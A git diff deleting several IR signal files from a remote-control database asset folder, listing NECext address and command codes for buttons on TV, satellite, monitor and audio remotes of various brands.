--- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: TXT- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: b6_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: b7_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: b8_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: b10_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: Psz -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: b11_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: Pst -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: Pon -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: SEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir deleted file mode 100644 index 8552ce8a3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 21 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 43 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 5C 00 00 00 -# -name: mosaic -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 66 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 70 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 81 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 83 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 21 90 00 00 -command: 84 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 21 90 00 00 -command: CC 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 21 90 00 00 -command: DB 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 21 90 00 00 -command: E0 00 00 00 -# -name: messaging -type: parsed -protocol: NECext -address: 21 90 00 00 -command: F3 00 00 00 -# -name: games -type: parsed -protocol: NECext -address: 21 90 00 00 -command: F5 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 21 90 00 00 -command: F6 00 00 00 -# -name: pound -type: parsed -protocol: NECext -address: 21 90 00 00 -command: F7 00 00 00 -# -name: ppv-vod -type: parsed -protocol: NECext -address: 21 90 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir deleted file mode 100644 index 54911f1e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: horizontalRIGHT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0C 00 00 00 -# -name: horizontalLEFT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0D 00 00 00 -# -name: verticalUP -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0E 00 00 00 -# -name: verticalDOWN -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0F 00 00 00 -# -name: tiltDOWNRIGHT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 10 00 00 00 -# -name: tiltDOWNLEFT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 11 00 00 00 -# -name: contrastUP -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 18 00 00 00 -# -name: contrastDOWN -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 19 00 00 00 -# -name: brightUP -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 1E 00 00 00 -# -name: brightDOWN -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 1F 00 00 00 -# -name: widthRIGHT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 26 00 00 00 -# -name: widthLEFT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 27 00 00 00 -# -name: heightUP -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 28 00 00 00 -# -name: heightDOWN -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 29 00 00 00 -# -name: converganceRIGHT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2A 00 00 00 -# -name: converganceLEFT -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2B 00 00 00 -# -name: converganceUP -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2C 00 00 00 -# -name: converganceDOWN -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2D 00 00 00 -# -name: sizeUP -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 37 00 00 00 -# -name: sizeDOWN -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir deleted file mode 100644 index c96214178..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: tv/radio -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: last_pr -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: pal/ntsc -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: uhf -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir deleted file mode 100644 index bdfc7de82..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: off -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 00 00 00 00 -# -name: VL -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 06 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 0E 00 00 00 -# -name: DEC -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 19 00 00 00 -# -name: copy -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 1C 00 00 00 -# -name: tune- -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 1E 00 00 00 -# -name: tune+ -type: parsed -protocol: NECext -address: 61 87 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir deleted file mode 100644 index ed07a69a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 22 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 44 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 45 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 52 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir deleted file mode 100644 index 433869bc6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: TV_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: P_P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: I_II -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: TEXT_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: TEXT_CLOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: TEXT_UPDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: TEXT_QUESTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: TEXT_X -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: TEXT_HALFPAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: TV_MOVE_HORIZ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: TV_UPPERRIGHTCORNER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: TV_MOVEFROMUPPERRIGHTCORNER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: TV_MOVEFROMTHERETOO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: TV_UPPERRIGHTCORNER_ANDTRIANGLEINTHELOWERCORNER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 -# -name: TV_MUSTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 60 00 00 00 -# -name: BRIGHT_LEVEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 64 00 00 00 -# -name: TV_UPPERRIGHTCORNER_TRIANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 65 00 00 00 -# -name: GRAY+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 66 00 00 00 -# -name: GRAY- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 67 00 00 00 -# -name: TV_UPPERLEFTCORNER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 68 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: WHITE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 71 00 00 00 -# -name: TV_FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir deleted file mode 100644 index c252ab74c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 00 00 00 00 -# -name: MW -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 01 00 00 00 -# -name: LW -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 02 00 00 00 -# -name: CDP -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 03 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 04 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 05 00 00 00 -# -name: CD_TRACK- -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 06 00 00 00 -# -name: CD_TRACK+ -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 07 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 08 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 0B 00 00 00 -# -name: TP_PLAYR -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 0C 00 00 00 -# -name: TP_PLAY -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 0D 00 00 00 -# -name: TP_STOP -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 0E 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 0F 00 00 00 -# -name: TP_REW -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 10 00 00 00 -# -name: TP_FFD -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 11 00 00 00 -# -name: TP_PAUSE -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 14 00 00 00 -# -name: TP_REC -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 17 00 00 00 -# -name: TUN- -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 1A 00 00 00 -# -name: TUN+ -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 1B 00 00 00 -# -name: TP_A -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 1E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 49 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 4B 00 00 00 -# -name: CD_PROG -type: parsed -protocol: NECext -address: 10 10 00 